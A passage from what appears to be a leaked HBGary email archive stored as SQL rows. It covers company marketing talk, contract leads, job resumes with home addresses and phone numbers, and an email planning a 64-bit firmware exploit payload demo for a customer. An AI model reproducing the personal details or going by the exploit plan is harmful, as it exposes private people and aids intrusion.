Technology\r\n\r\nOld Westbury, New York\r\n\r\nMay 2008\r\n\r\n\r\n\r\nKey Courses:\r\n\r\n·       /Global Operations Management/: Identified organizational\r\nperformance gaps, created and implemented solutions to close the\r\nperformance gaps in a multi-national corporate environment.\r\n\r\n·        /Managerial Decision Modeling/: Developed forecasting\r\nsimulation and decision models utilizing Microsoft Solver/Crystal Ball.\r\nEmployed statistical analysis to evaluate constrained optimization models.\r\n\r\n·        /Managerial Accounting/: Applied valuation and discount rates\r\nto make sound budgeting decisions. Compared various corporate projects\r\nusing adjusted present value (APV) and weighted average cost of capital\r\n(WACC). Developed corporate investment strategies with debt and equity\r\nfinancing.  Portfolio management using derivatives to speculate and\r\nhedge. Options pricing using both the binomial and Black-Scholes model.\r\n\r\n·        /Derivative Contracts/ : Analyzed currency derivatives, parity\r\nconditions, currency and interest rate swaps, and hedging using currency\r\noptions and futures.\r\n\r\n·         /Corporate Finance/: Created and analyzed capital budgets.\r\nAnalyzed investment options using net present value (NPV). Determined\r\ndiscount rates and utilized regression analysis to evaluate stocks,\r\nbonds, and securities.\r\n\r\n\r\n\r\nBachelor of Science:\r\nEconomics\r\n\r\nMinor: History\r\n\r\nUniversity of Utah\r\n\r\nSalt Lake City, Utah\r\n\r\nDecember 2004\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\nSUMMARY 	^BACK TO TOP \r\n\r\nCurrent Career Level: 	Experienced (Non-Manager)\r\nYears of relevant work experience: 	10+ to 15 Years\r\nDate of Availability: 	Within 2 weeks\r\nWork Status: 	US - I am authorized to work in this country for any\r\nemployer.\r\nActive Security Clearance: 	Yes\r\nUS Military Service: 	Yes\r\n\r\nTarget Job: 	*Target Job Title:* 	Targeting Analyst\r\n	**Desired Job Type:** 	Employee\r\n	**Desired Status:** 	Full-Time\r\n	*Willing to work weekends:* 	Yes\r\n\r\nTarget Company: 	*Industry:* 	Consumer Packaged Goods Manufacturing\r\nBanking\r\nManagement Consulting Services\r\nHealthcare Services\r\n\r\nTarget Locations: 	*Selected Locations:* 	US\r\n	**Relocate:** 	Yes\r\n	*Willingness to travel:* 	Up to 75% travel\r\n\r\nSkills: 	*Skill Name* 	*Skill Level*\r\n	Microsoft Office 	Expert\r\n	SPSS 	Intermediate\r\n\r\nLanguages: 	*Languages* 	*Proficiency Level*\r\n	English 	Fluent\r\n\r\n\r\n',7879,'aaron_hbgary_com/7879.html'),(5331,'2010-04-14','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297003874.M620317P14101Q186.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,','Re: New Tagline Contenders (PDF attached)','middle tagline\r\nOn Wed, Apr 14, 2010 at 7:17 AM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\n \r\nOK, three taglines in the finals.\r\n \r\n-Greg-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971Website:  www.hbgary.com |email: maria@hbgary.com \r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n',11529,'aaron_hbgary_com/11529.html'),(5332,'2010-04-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003874.M859596P14101Q187.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,','Re: New Tagline Contenders (PDF attached)','I like #3 as a logo, but I love the tagline Detecting(Countering) Tomorrow\'s Threat today.\r\n\r\nReason:\r\nEnterprise Threat Intelligence tells me something about what you provide, it has a product statement in the logo.  It leads me.\r\n\r\nDetecting or Countering tomorrows threat today doesn\'t do that, its more ambiguous.  Threat Intelligence, well I need me some of that.  Counter tommorows threats, well I want to do that yes, but how, through threat intelligence...\r\n\r\nI would use #3 and on business cards, website, anywhere the logo exists I would use the phrase, \"Countering (or Detecting) Tomorrow\'s Threat Today\".\r\n\r\nAaron\r\n\r\nOn Apr 14, 2010, at 10:17 AM, Greg Hoglund wrote:\r\n\r\n>  \r\n> OK, three taglines in the finals.\r\n>  \r\n> -Greg\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9835,'aaron_hbgary_com/9835.html'),(5333,'2010-04-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003875.M142868P14101Q188.eml','\"MB Toth\" <mbt.rbtoth@gmail.com>,\"Barr Aaron\" <aaron@hbgary.com>','Re: Toth Invoice -- March 2010 Proposal Support','Hi Mike,\r\n\r\nPayment of $1,840.00 went out today, bank reference number KBABDZO5.\r\nYou should expect it to arrive via mail on or before 04/21/2010.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\nOn Wed, Apr 7, 2010 at 7:06 AM, MB Toth  wrote:\r\n> Ted,\r\n>\r\n> Here\'s an invoice for my work on the proposal.  Let me know if you need more\r\n> information, but you should have the SSN and other info in the consulting\r\n> agreement.\r\n>\r\n> Let me know when you are next out this way so we three can get together,\r\n>\r\n> Mike\r\n>\r\n> --\r\n> R.B. Toth Associates\r\n> Oakton, Virginia, USA\r\n>\r\n> 703 938-4499\r\n> mbt.rbtoth@gmail.com\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',13452,'aaron_hbgary_com/13452.html'),(5334,'2010-04-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003878.M209207P14101Q189.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Sketches','Begin forwarded message:From: T D M &lt;goldilockz@gmail.com&gt;\r\nTo: &quot;ted@hbgary.com&quot; &lt;ted@hbgary.com&gt;Subject: Sketches\r\nTed,It just so happens, that I had that political cartoon, plus a couple ofcaricature type sketches of Obama and H. Clinton in an email from a couple\r\nof years ago. I have attached them. I hope they help! I&#39;m very excited andhope this proposal proves profitable. ppppppp lol-Tawny-- \r\n---&quot;My treasures do not clink; they gleam in the sunlight and neigh in thenight&quot; - Ancient Bedouin saying\r\n\r\n',8604,'aaron_hbgary_com/8604.html'),(5335,'2010-04-14','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297003878.M575356P14101Q190.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: New Tagline Contenders (PDF attached)','I agree with Aaron. I also like \"Counter\" vs. \"Detect.\" Penny should bring it up when she meets with 451 tomorrow to get their feedback as well. Best, K--- On Wed, 4/14/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: New Tagline Contenders (PDF attached)To: \"Greg Hoglund\" &lt;greg@hbgary.com&gt;Cc: all@hbgary.com, \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Wednesday, April 14, 2010, 9:36 AM\r\nI like #3 as a logo, but I love the tagline Detecting(Countering) Tomorrow\'s Threat today.Reason:Enterprise Threat Intelligence tells me something about what you provide, it has a product statement in the logo.&nbsp; It leads me.Detecting or Countering tomorrows threat today doesn\'t do that, its more ambiguous.&nbsp; Threat Intelligence, well I need me some of that.&nbsp; Counter tommorows threats, well I want to do that yes, but how, through threat intelligence...I would use #3 and on business cards, website, anywhere the logo exists I would use the phrase, \"Countering (or Detecting) Tomorrow\'s Threat Today\".AaronOn Apr 14, 2010, at 10:17 AM, Greg Hoglund wrote:&gt;&nbsp; &gt; OK, three taglines in the finals.&gt;&nbsp; &gt; -Greg&gt; &lt;HB_Gary_Tagline_Logos_v1.pdf&gt;Aaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8388,'aaron_hbgary_com/8388.html'),(5336,'2010-04-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003878.M787151P14101Q191.eml','\"Barr Aaron\" <aaron@hbgary.com>','ARSTRAT','This may be worth a try:\r\n\r\nSUBMISSION OF UNSOLICITED PROPOSALS\r\nThe U.S. Army Space and Missile Defense Command/U.S. Army Forces\r\nStrategic Command foster and encourage submission of unsolicited\r\nproposals that offer unique and innovative methods or approaches and\r\nthat offer significant technological promise for the accomplishment of\r\ntheir missions. A valid unsolicited proposal must be independently\r\noriginated and developed, prepared without Government supervision, and\r\nsufficiently detailed for Government review, but must not be an\r\nadvance proposal for a known agency requirement. However, submission\r\nof an unsolicited proposal does not in any way guarantee a contract\r\naward.\r\n\r\nAn unsolicited proposal is defined in FAR 2.101 as \"a written proposal\r\nfor a new or innovative idea that is submitted to an agency on the\r\ninitiative of the offeror for the purpose of obtaining a contract with\r\nthe Government, and that is not in response to a request for\r\nproposals, Broad Agency Announcement, Small Business Innovation\r\nResearch topic, Small Business Technology Transfer Research topic,\r\nProgram Research and Development Announcement, or any other\r\nGovernment-initiated solicitation or program.\" Advertising material,\r\ncommercial item offer, or contribution, as defined in FAR 15.601 shall\r\nnot be considered to constitute unsolicited proposals for this\r\npurpose.\r\n\r\nContact with Army SMDC/ARSTRAT technical personnel with the objective\r\nof understanding the mission and needs relative to the type of effort\r\ncontemplated is encouraged prior to preparing detailed unsolicited\r\nproposals or submitting proprietary information to the Government.\r\n\r\nA proposal acceptance for formal evaluation should contain at least\r\nthe following:\r\n\r\nBasic information:\r\n• Offeror’s name and address (if an organization, indicate type; e.g.,\r\nprofit, non-profit, educational, small business, minority,\r\ndisadvantaged minority).\r\n• Names and telephone numbers of the offeror\'s technical and business\r\npersonnel who may be contacted for evaluation or negotiation purposes.\r\n• Identification and proper marking of any proprietary data in\r\naccordance with FAR 15.609.\r\n• Names of any other federal, state, or local agencies or other\r\nactivities receiving the proposal and/ or funding the proposed effort.\r\n• Date of submission.\r\n• Signature of responsible official authorized to contractually\r\nobligate the organization.\r\n\r\nTechnical information:\r\n• A concise title and an abstract (approximately 200 words) of the\r\nproposed work.\r\n• A reasonably complete discussion that gives as a minimum the (a)\r\nobjective, (b) method of approach, (c) anticipated results, and (d)\r\nhow the work will help support accomplishment of the SMDC or PEO\r\nMissile Defense mission.\r\n• The names and biographical information of the key personnel who\r\nwould be involved.\r\n• The type of support, if any, the offeror requests of the Government;\r\ne.g., facilities, equipment, materials, or personnel resources.\r\n\r\nSupporting information:\r\n• A cost estimate sufficiently detailed by element of cost for\r\nmeaningful evaluation.\r\n• The period of time the proposal is valid (a minimum of six months is\r\nsuggested).\r\n• The type of contract preferred.\r\n• The proposed duration of effort.\r\n• Brief description of the organization, previous experience in the\r\nfield, and facilities to be used.\r\n• Statements, if applicable, regarding cost-sharing, organizational\r\nconflicts of interests, security clearance status, environmental\r\nimpacts, brief description of the organization, previous work or\r\nexperience in the field of the proposed work, and facilities to be\r\nutilized for the work.\r\n\r\nFour copies of each unsolicited proposal should be submitted. Receipt\r\nand evaluation of an unsolicited proposal does not imply a promise to\r\npay for the preparation of the proposal nor create any other\r\nobligation on the part of the Government. Unsolicited proposals should\r\nbe submitted to:\r\n\r\nSMDC/ARSTRAT\r\nATTN: SMDC-RDC-AP\r\nP.O. Box 1500\r\nHuntsville, AL 35807-3801\r\n\r\nReceipt of an unsolicited proposal will be acknowledged promptly.\r\nThirty to sixty days are usually required for technical evaluation,\r\nafter which time the proposer will be notified of the Government\'s\r\ndecision to accept or reject the proposal or the requirement of the\r\nGovernment for additional time to make a decision.\r\n\r\nShould the proposal be accepted, all necessary contractual efforts\r\nwill be effected by the Contracting and Acquisition Management Office\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',15012,'aaron_hbgary_com/15012.html'),(5337,'2010-04-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003879.M13320P14101Q192.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Information Operations','Begin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;\r\nTo: &quot;femme.comp@fcicos.com&quot; &lt;femme.comp@fcicos.com&gt;Subject: Information Operations\r\nHello,I was reviewing the COMETS contract vehicle and was interested tolearn if there are any subcontract opportunities in support of\r\nInformation Operations.  HBGary (http://www.hbgary.com) providesmalware reverse engineering and analysis products and services.  Wealso provide forensics, incident response, and other IO services\r\nrelated to CNE/CNA.Attached are two recent whitepapers we published that you may findinteresting.  Please feel free to contact me if you have any questions\r\nor would like to discuss teaming / subcontract opportunities.Regards,Ted-- Ted H. VeraPresident | COO\r\nHBGary Federal719-237-8623&lt;hbgthreatreport_aurora.pdf&gt;&lt;softwareexploitationhbgary.pdf&gt;\r\n\r\n',16657,'aaron_hbgary_com/16657.html'),(5338,'2010-04-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003879.M243541P14101Q193.eml','\"Irby Thompson\" <irby@pikewerks.com>','Re: still want to get together this afternoon','Sounds good.\r\n\r\nWhats your #?\r\nAaron\r\n\r\nOn Apr 12, 2010, at 9:09 PM, Irby Thompson wrote:\r\n\r\n> Great,\r\n> \r\n> Let\'s do lunch on Tuesday April 27th.\r\n> \r\n> 	-Irby\r\n> \r\n> \r\n> On Apr 12, 2010, at 9:00 PM, Aaron Barr wrote:\r\n> \r\n>> Yep I am open.\r\n>> \r\n>> From my iPhone\r\n>> \r\n>> On Apr 12, 2010, at 8:58 PM, Irby Thompson  wrote:\r\n>> \r\n>>> I am traveling Monday and Tuesday (Dallas), and will be back\r\n>>> Wednesday-Friday.\r\n>>> The following week is wide open...how about your schedule?\r\n>>> \r\n>>>  -Irby\r\n>>> \r\n>>> \r\n>>> On Apr 12, 2010, at 6:04 PM, Aaron Barr wrote:\r\n>>> \r\n>>>> No worries.  Let\'s schedule something up next week.  I have some\r\n>>>> meetings mon and tues and traveling we\'d-fri.  So if u have some\r\n>>>> times\r\n>>>> on mon or tues.\r\n>>>> \r\n>>>> Aaron\r\n>>>> \r\n>>>> From my iPhone\r\n>>>> \r\n>>>> On Apr 12, 2010, at 5:17 PM, Irby Thompson \r\n>>>> wrote:\r\n>>>> \r\n>>>>> Aaron,\r\n>>>>> \r\n>>>>> This week is pretty crazy for us with the DoD Anti-Tamper\r\n>>>>> conference. Friday looks like the only possibility - you up for\r\n>>>>> lunch?\r\n>>>>> \r\n>>>>> Regards,\r\n>>>>> Irby\r\n>>>>> \r\n>>>>> \r\n>>>>> On Apr 9, 2010, at 11:33 AM, Aaron Barr wrote:\r\n>>>>> \r\n>>>>>> sure no problem.\r\n>>>>>> \r\n>>>>>> On Apr 9, 2010, at 11:31 AM, Irby Thompson wrote:\r\n>>>>>> \r\n>>>>>>> Do you mind if we move to next week, I am frantically trying to\r\n>>>>>>> finish a proposal.\r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>>> On Apr 9, 2010, at 10:52 AM, Aaron Barr  wrote:\r\n>>>>>>> \r\n>>>>>>>> \r\n>>>>>>>> Aaron Barr\r\n>>>>>>>> CEO\r\n>>>>>>>> HBGary Federal Inc.\r\n>>>>>>>> \r\n>>>>>>>> \r\n>>>>>>>> \r\n>>>>>> \r\n>>>>>> Aaron Barr\r\n>>>>>> CEO\r\n>>>>>> HBGary Federal Inc.\r\n>>>>>> \r\n>>>>>> \r\n>>>>>> \r\n>>>>> \r\n>>> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',12710,'aaron_hbgary_com/12710.html'),(5339,'2010-04-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003879.M458729P14101Q194.eml','\"Scott Pease\" <scott@hbgary.com>,\"Scott Pease\" <scott@hbgary.com>,,','Re: Task B','I just confirmed with Shawn, so we\'re on for 4pm Eastern.\r\n\r\nIn the interest of keeping the call as brief as possible, below is what\r\nI believe we need to discuss, along with a quick status update.  Please\r\nthink about these items so we are prepared for the call:\r\n\r\n1.  Define remaining tasks and estimate their durations.\r\n2.  Allocate tasks to team based on ability & availability.\r\n3.  Remaining technical risks\r\n\r\n\r\nStatus Update:\r\nPort to 64-bit complete for Vista 0,1,2.  Shawn is working on Windows 7\r\nport now.\r\n\r\nMark\'s test environment is set up and he is working with Shawn to run\r\nthrough the Vista test cases.\r\n\r\nThanks,\r\nTed\r\n\r\n\r\nOn 4/14/10 11:19 AM, Scott Pease wrote:\r\n> I can meet at that time.\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com] \r\n> Sent: Wednesday, April 14, 2010 10:01 AM\r\n> To: Scott Pease; Martin Pillion; mark@hbgary.com;\r\n> embleton@clearhatconsulting.com\r\n> Subject: Task B\r\n> \r\n> I\'d like to schedule a call for sometime today to discuss the remaining\r\n> tasks that need to be completed to ensure we are not missing anything,\r\n> estimate the amount of time required for each, and determine who is best\r\n> able/available to complete them prior to delivery next week.  How does 4pm\r\n> Eastern time work for everyone (trying to avoid the lunch hour in CA)?\r\n> \r\n> Ted\r\n> \r\n\r\n',9752,'aaron_hbgary_com/9752.html'),(5340,'2010-04-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003880.M839921P14101Q195.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Resume','---------- Forwarded message ----------\r\nFrom: Rony Turner \r\nDate: Wed, Apr 14, 2010 at 1:07 PM\r\nSubject: Resume\r\nTo: ted@hbgary.com\r\n\r\n\r\nTed,\r\n\r\nThanks for taking the time to check out my resume and see if there are\r\nany positions I may be right for.  Tawny Fritz said you were THE\r\nperson to try and network through, so, very nice to meet you!  My\r\nresume is currently tailored towards DNI, but still has what else I\'ve\r\ndone while in the military.  I\'m transitioning out of the Army on 12\r\nMay and mostly looking for something in the Maryland area; however, I\r\nam flexible seeing how this will be my first civilian job in 10 years.\r\n\r\nFor a brief summary of what you\'ll see on my resume: I am a NSA\r\nCertified DNI Analyst (NETA3001) with over three years experience in\r\nsupporting computer network operations through both analysis and\r\nexploitation.  I have over nine years combined experience in the\r\nintelligence community including general HF SIGINT and the last year\r\nand a half as a SIGINT Geospatial Analyst (SGA), qualifying me as\r\nGlobal Network Analyst (GNA).  I have knowledge and experience with a\r\nvariety of database and research tools (Pinwale, Agility, Tuningfork,\r\nMarina, Association, and the RT-RG Tool Suite to name a few), as well\r\nas proficiency with Microsoft Office Products.\r\n\r\nOnce again, thank you very much for your time and consideration!  I\r\nlook forward to hear from you soon.\r\n\r\nV/R,\r\n\r\nRony Turner\r\n501 East Central TX Expy\r\nRoom # 206\r\nKilleen, TX 76542\r\n(254)317-5472\r\n\r\n________________________________\r\nHotmail is redefining busy with tools for the New Busy. Get more from\r\nyour inbox. See how.\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',1690,'aaron_hbgary_com/1690.html'),(5341,'2010-04-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003881.M120033P14101Q196.eml','mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Heads Up!','---------- Forwarded message ----------\r\nFrom: Williams, Joy T (IS) \r\nDate: Wed, Apr 14, 2010 at 2:02 PM\r\nSubject: Heads Up!\r\nTo: Ted Vera \r\n\r\n\r\nClint is officially out of IRAD work. Each one he was on has been cut.\r\nDon’t know if you will need him but he will need work soon……\r\n\r\n\r\n\r\nJoy T Williams\r\n\r\nNorthrop Grumman Information Systems\r\n\r\nNetCentric Information Operations\r\n\r\nDepartment Administrator\r\n\r\n1795 Jet Wing Drive, Suite 200\r\n\r\nColorado Springs, CO 80916\r\n\r\n719-622-5500\r\n\r\nFax:719-622-5101\r\n\r\nEfax: 978-684-3865\r\n\r\nEmail: joy.williams@ngc.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',16555,'aaron_hbgary_com/16555.html'),(5342,'2010-04-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003881.M390088P14101Q197.eml','\"Martin Pillion\" <martin@hbgary.com>,\"Scott Pease\" <scott@hbgary.com>,mark@hbgary.com,embleton@clearhatconsulting.com','Project B','Below are my notes from our conference call and the subsequent call I\r\nhad with the customer regarding the target laptops.  If I missed\r\nanything, or you see any inaccuracies, please let me know.\r\n\r\nI tried to capture the estimated times these tasks would take during\r\nthe call, but we missed some.  Can you please send me your estimates\r\nfor assigned tasks.  If you see a schedule/technical risk, please let\r\nme know, and we\'ll try to mitigate.\r\n\r\nRemaining Tasks:\r\nMark:  Complete the Vista 64 testing\r\nClearhat:  Create visual demo for 64-bit payload to open\r\nwindow/calculator, or write-out \"hello world\" file to c:\\ using bios\r\ninterrupts. Possibly use metasploit to spit out 64-bit shell code.\r\nClearhat:  Port to Windows 7 64-bit w visual demo payload (est. 1-2 days)\r\nMark:  Test Windows 7 64\r\nClearhat:  Tie the Vista 64-bit port to the previous FW implementation\r\nClearhat:  Tie the Windows 7 port to the previous FW implementation\r\nMark:  Test Windows Vista 32-bit\r\nMartin:  Update Python Shell Code (minimal code changes), review final\r\n32/64 bit FW implementation.\r\nMark:  Test fully integrated 32/64 bit FW implementation\r\nMartin:  Final demo / sell off preparations\r\n\r\nOther Notes:\r\n64-bit port reliably hits user-mode payload every time (in 64-bit Vista).\r\nSkips past the 6-7 clean-ups, could cause some stability issues.\r\nShawn has 4-5 days he can devote.\r\nShawn\'s dev system uses Intel e8400 core 2 duo\r\nMark is installing Vista Ultimate\r\nMark disabled hyper-threading and the test still failed\r\n\r\nThe demo sell-off is scheduled for next Thursday & Friday.  Martin was\r\ncorrect that the laptops will just be grabbed out of a supply bin,\r\nbasically.  The customer would prefer to keep the target laptop OS\'s\r\nunknown, to be \"part of the fun\" next week.  We will have Thursday\r\nnight to iron-out wrinkles, and re-present to the customer on Friday\r\nif needed.  I told him we are going to focus our testing on the OS\'s\r\nthat are on the list, and for Vista, we\'re using Vista Ultimate.\r\nWe\'ll test additional OS versions if time is available.\r\n',13238,'aaron_hbgary_com/13238.html'),(5343,'2010-04-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003881.M630950P14101Q198.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Phone died','Bill is very accomodating. Begin forwarded message:From: &quot;Thompson, Bill M.&quot; &lt;Bill.Thompson@gd-ais.com&gt;\r\nDate: April 14, 2010 3:58:47 PM MDTTo: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;Subject: RE: Phone died\r\nYes, thanks, please just provide a complete list of O/S that it worksagainst and a list (Windows-based) that it won&#39;t (so I have both liststo cross-correlate during our test). \r\nThe absolutely most important thing with this delivery will be stabilityand reliability against the target O/S&#39;s that you guys have settled on.Quantity of O/S&#39;s is not as important as reliability so please make sure\r\nit works each and every time against a disclaimer list of O/S&#39;s. By the way, I can tell you one of the laptops will be an Apple so I knowwhat will happen when I know it will &quot;fail&quot;\r\nThanks a lot man,Bill-----Original Message-----From: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Wednesday, April 14, 2010 2:04 PMTo: Thompson, Bill M.Subject: Phone diedSorry Bill, my phone died mid sentence.  I&#39;m ok having the target\r\nlaptop OS&#39;s unknown, to be &quot;part of the fun&quot; next week.  We are goingto focus our testing on the OS&#39;s that are on the list, and for Vista,we&#39;re using Vista Ultimate.  We&#39;ll test additional OS versions as time\r\nis available.  Is that ok?Ted\r\n',3373,'aaron_hbgary_com/3373.html'),(5344,'2010-04-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003881.M834614P14101Q199.eml','\"Penny Leavy\" <penny@hbgary.com>','Matt stern','Did u hear from him today.  I did not.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',769,'aaron_hbgary_com/769.html'),(5345,'2010-04-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003882.M305880P14101Q200.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: 87445313 Multi-Source Intelligence Analyst Monster Resume 	#86vt93q8x94bpmz2','Begin forwarded message:From: &lt;heatherharris06@gmail.com&gt;\r\nDate: April 14, 2010 5:24:08 PM MDTTo: &lt;ted@hbgary.com&gt;Subject: 87445313  Multi-Source Intelligence Analyst  Monster Resume #86vt93q8x94bpmz2\r\nReply-To: &lt;heatherharris06@gmail.com&gt;\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis job seeker is applying to the following:\r\n\r\n\r\n\r\n\r\nJob ID:  87445313\r\n\r\nJob Title:  Multi-Source Intelligence Analyst\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\nQuick View Links:\r\n\r\n\r\nResume Section\r\nSummary Section\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n	\r\n		\r\n\r\n	\r\n	\r\n	\r\n	\r\n			\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCONTACT INFO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHeather Harris \r\n2907 Willston Place\r\nUnit 302\r\nFalls Church, VA  22044\r\nUS\r\nheatherharris06@gmail.com\r\n\r\n\r\n\r\n\r\n\r\nMobile: 410-903-2765  Contact Preference: Email\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRESUME\r\n \r\n\r\n^BACK TO TOP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nResume Value: \r\n86vt93q8x94bpmz2   Resume Headline: TS/SCI  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n  Heather A. Harris\r\n 11126 Fairhaven Court, Apt. E\r\n Fairfax, VA 22030\r\n\r\n571-294-4613 \r\nheatherharris06@gmail.com \r\n         Objective\r\n\r\n  \r\nTo find a position in the community which will use the skills and experience that I have acquired while serving ten years in the United States Air Force and in private industry. \r\n\r\n  \r\n         Qualifications  \r\n  Top Secret/SCI government clearance since July 2001\r\n\r\nFull-Scope Poly since March 2007\r\n Operations Field for 9 plus years\r\n Currently working in the Intelligence Community  \r\n  \r\nPRIVATE INDUSTRY OPERATIONS EXPERIENCE\r\n   \r\nSGIS April 2009 – Present\r\n\r\nEmergency Operations Watch Officer\r\n   \r\n Develop, maintain, and remain cognizant of all pertinent COOP/COG (Continuity of Operations/Continuity of Government) policies, plans, and procedures.\r\n \r\nSupport customer in facilitating the integration of plans, policies, and procedures with the rest of the Intelligence Community. Compiles intelligence reports for multiple agency authorities.\r\n Operate and conduct basic maintenance on various communications equipment including VTC, VOIP, STU/STE, and LAN/WAN equipment.\r\n\r\nParticipate in multiple agency exercises to ensure all communication and reporting processes run smoothly.\r\n Ensure real-time events are met with prompt and accurate responses. \r\nMeet all contract requirements to provide assigned coverage at a 24/7/365 emergency operations center.  \r\n \r\nAcclaim Technical Services\r\n March 2008 – April 2009\r\n Intelligence Analyst/Database Manager\r\n \r\n   \r\nResponsible for receiving and reviewing 12 databases located worldwide. \r\nReviews all databases for quality assurance while flagging areas in need of future training.\r\n \r\nAnalyzes and formats information for oral and written presentations for the customer. Produces numerous quality and new information reports disseminated throughout customer agency.\r\n Instructs site leadership and users on proper use and new features while emphasizing the success on past and current endeavors.\r\n \r\n        \r\n           Conference Coordinator\r\n          Omen Inc.\r\n \r\n         November 2006 – June 2007 \r\nCollege Park, Maryland \r\n   \r\nCoordinated\r\nwith 10 divisions within the Disruptive Technology Office for monthly and annual planning. Communicated with three contracting agencies to achieve 100% compliance for division conference/events goals.\r\n Conducted site visits to ensure the proper facilities are being utilized and clearance levels met.\r\n \r\nOrganized three events across the U.S. with professionals from several organizations nationwide in attendance. \r\nProduced weekly and monthly updates to division heads on daily requirements and accomplishments for each division. \r\n Reviewed funding on each conference to ensure accounts are within spending limits\r\n. Briefed department heads on standard operating procedures for conferences.\r\n Produced weekly status reports to divisions and various involved organizations. \r\n  \r\n  Office Manager\r\n NAV-VET Trucking Company LLC\r\n April 2006 – May 2006\r\n Gulfport, Mississippi\r\n\r\n  \r\n Assisted in setting up office for field site operations for Hurricane Katrina debris removal operations.\r\n Implemented Standard Operating Procedures for tracking daily expenditures, revenue flow and personnel attendance.\r\n Handled all cash flow for\r\ndaily expenditures and payroll. Communicated and coordinated with various agencies and private companies involved in clean-up efforts to ensure that all requirements for successful site clean-up were met.\r\n    \r\nTRANSPORTATION SECURITY ADMINISTRATION OPERATIONS EXPERIENCE \r\n\r\n                  Professional Solutions\r\n July 2007 – March 2008\r\n \r\n         Watch Officer \r\n   Supported the California wildfires as a member of the Crisis Action Team; acted as a liaison to seven at risk airports.\r\n \r\nParticipated in the National Top Officials (TOPOFF 4) terrorism preparedness exercise; monitor incoming reports and filtered to the appropriate teams. Maintained situational awareness of all events and threats being monitored in the Department of Homeland Security (DHS), Transportation Security Operations Center (TSOC).  \r\n Collected, received and assessed open source intelligence and media information from relevant sources which could have an immediate impact on the security of the national transportation infrastructure.  \r\n \r\nDistributed actionable intelligence information related to transportation security to appropriate departments, agencies, industries and associations. Produced Daily Operations Reports for mission managers by utilizing the WebEOC software.\r\n Briefs Command Duty Officer (CDO), Federal Air Marshals (FAMs), and Transportation Security Administration Intelligence Office (TSA-OI) regarding information concerning 